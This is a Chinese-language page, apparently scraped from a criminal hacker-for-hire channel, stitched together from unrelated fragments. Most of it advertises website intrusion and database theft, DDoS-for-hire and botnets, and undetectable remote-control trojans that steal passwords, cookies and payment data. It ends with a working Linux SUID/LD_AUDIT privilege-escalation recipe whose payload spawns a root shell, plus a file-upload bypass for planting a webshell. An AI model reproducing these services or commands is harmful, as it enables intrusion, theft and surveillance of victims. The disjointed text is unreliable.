最近看有人发反钓鱼软件,要么繁琐,要么就加这个那个的,那么麻烦干嘛,而且基本做什么钓鱼软件的人又不加壳,直接读取就行了！

近日缺CB,让我赚一点是一点- -！ 反钓鱼软件自动读取QQ帐号和密码,其他的也是,即使不是QQ照样读取出来！

源码说不到多牛B,只供大家学习用,或者其它...随便你啦~

VPN 即“虚拟专用网络”。VPN 能对您的互联网流量和身份进行在线加密，使第三方更难入侵和窃取数据。那么本职工作是保护我们网络安全的 VPN 真的就 100%安全吗

注意：你来到的是黑大帅的频道，这里是渗透实时拿站的，不是平常的数据料商，料商可以合作，拿站你直接发站点过来给我就可以，数据只会出一手，不过第二手，还有那些只拿个几十条一两百条的你别逗我笑，合作是这个库给你，需要的联系下方各种各行业都可以，zf不接


@YMoh4683

DNS被劫持测试工具来检验你的域名，出現全国各地绝大多数地址解析ip都不是你的，祝贺你了，这类的DNS被劫持域名污染查询就并不是举报能解决的了，除非是你一个地域一个地域的通电话，但不一定能获得处理，由于它是根据方式方法来完成在网站劫持和域名污染，最好是的方法域名被墙查询是根据DNS.COM-DNS加快的域名污染解决方案来防止和修复了

注意：你来到的是黑大帅的频道，这里是渗透实时拿站的，不是平常的数据料商，料商可以合作，拿站你直接发站点过来给我就可以，数据只会出一手，不过第二手，还有那些只拿个几十条一两百条的你别逗我笑，合作是这个库给你，需要的联系下方各种各行业都可以，zf不接


@YMoh4683

🔵DDOS丨CC 丨攻击丨 打死付款✅

🔴无视任何防御 🉑全网横扫一切✅

🟠无视cdnfly丨方能 丨常见各种防✅

🟢博彩丨交易所丨权重站丨 交易所✅

🟣支付丨X站各类型丨跑Fen丨竞争✅

🔴丨网站丨阿里云丨云盾丨 加速乐✅

🟡压力测试丨网站丨 区链站等攻击✅

🌐自建查源系统800万CC并发能力 ✅
@YMoh4683

知道该域名的真实IP地址，则可以直接用此IP代替域名后进行访问。比如访问百度域名，可以把访问改为202.108.22.5，从而绕开域名劫持

我们在跟客户交涉前：任何渗透测试都应该由测试人员和目标组织事先确定测试的范围和目标，最好以站点链接确认能否可做
合作联系；@YMoh4683

XSS是一种利用网页应用程序漏洞的攻击方式，攻击者在网页中嵌入恶意脚本代码，当用户访问该网页时，恶意代码会被执行，攻击者可以窃取用户的信息或控制用户的浏览器

2024全网手机远程控制 1500U-20000U

普通款： 屏幕监控 屏幕控制 通话记录获取，聊天记录，短信，摄像头获取，gps定位 刀u,获取支付密码，账号密码，劫持验证码，劫持通话等
私人定制：增加了木马的稳定性，随意隐藏显示图标


2024电脑远程控制 1000U-3000U

免杀远控 过免杀 过启动 过误报 解决主流杀软的各方面问题 支持定做 专业制作 现有功能:屏幕控制，定期截图 *** 屏幕墙
* 键盘记录* 文件管理*** 代理映射*** 压力测试*** 隐藏桌面（可以控制桌面不被发现）*** 文件加密*** 浏览器密码、书签、cookie获取*** 浏览器密码清除（适配主流浏览器）*** telegram账号文件一键下载*** 锁定机器*** 进程监控*** 关闭windows defender*** 系统信息及IP一键提取*** 指定文件搜索*** 多种启动项安装方式

网页端恢复正常感谢支持 目前国内流量稳定，海外流量稳定，本平台最低保证300Gbps流量输出，实际比这还要高高高高高，只保小，不吹大！ 懂得都懂，目前Weare僵尸网页端在圈内排名Top1所有卡密已经在后台补时间了 感谢支持
合作联系；@YMoh4683

ddos它利用大量的互聯網流量使目標伺服器或其周圍的基礎設施不堪重負，從而阻斷目標伺服器、服務或網路的正常流量

DNS攻击是涉及域名系统（DNS）的任何类型的攻击。攻击者可以通过多种不同的方式利用DNS的弱点。这些攻击大多数都集中在滥用DNS上，以阻止互联网用户访问某些网站。这些属于拒绝服务（DoS）攻击的范畴

合作联系；@YMoh4683

是一种利用受信任用户的身份，在用户不知情的情况下，以其名义发送恶意请求的攻击方式。攻击者可以通过篡改请求参数或构造特定的链接，以执行未经授权的操作
合作联系；@YMoh4683

DNS劫持，TR069劫持之类常用的域名劫持（常用） - 将域名解析到路由的LAN地址
AP本地管理，劫持域名

网页突然被禁止访问，微信登录和绑定的业务都无法使用，严重影响产品的使用，接劫持 ddos攻击打站
金融股民渗透国内app，海外网站app，入侵后台，脱裤数据库， dns劫持 服务器进入等等
只有你想不到，没有我做不到


合作联系；@YMoh4683

CVE-2023-32784
KeePass 2.X Master Password Dumper
Буфер обмена подвел ))
POC

LinuxSUID提权

查找有root权限的SUID文件
$find / -perm -u=s -type f 2>/dev/null
$find / -user root -perm -4000 -print 2>/dev/null
$find / -user root -perm -4000 -exec ls -ldb {} \;

Ping

复制
>cd /tmp
>mkdir exploit
>ln /bin/ping /tmp/exploit/cmd
>exec 3< /tmp/exploit/cmd
>rm -rf /tmp/exploit/
>vim payload.c
复制
void attribute((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
复制
>gcc -W -fPIC -shared -o /tmp/exploit payload.c
>提升到root权限
>LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
>id 查看当前权限

我们使用bp抓包，并且发送到repeater，修改content-type为图片类型，点击发送
通过http头的修改绕过了MIME type验证，之后就是访问传参，通过一句话木马控制服务器。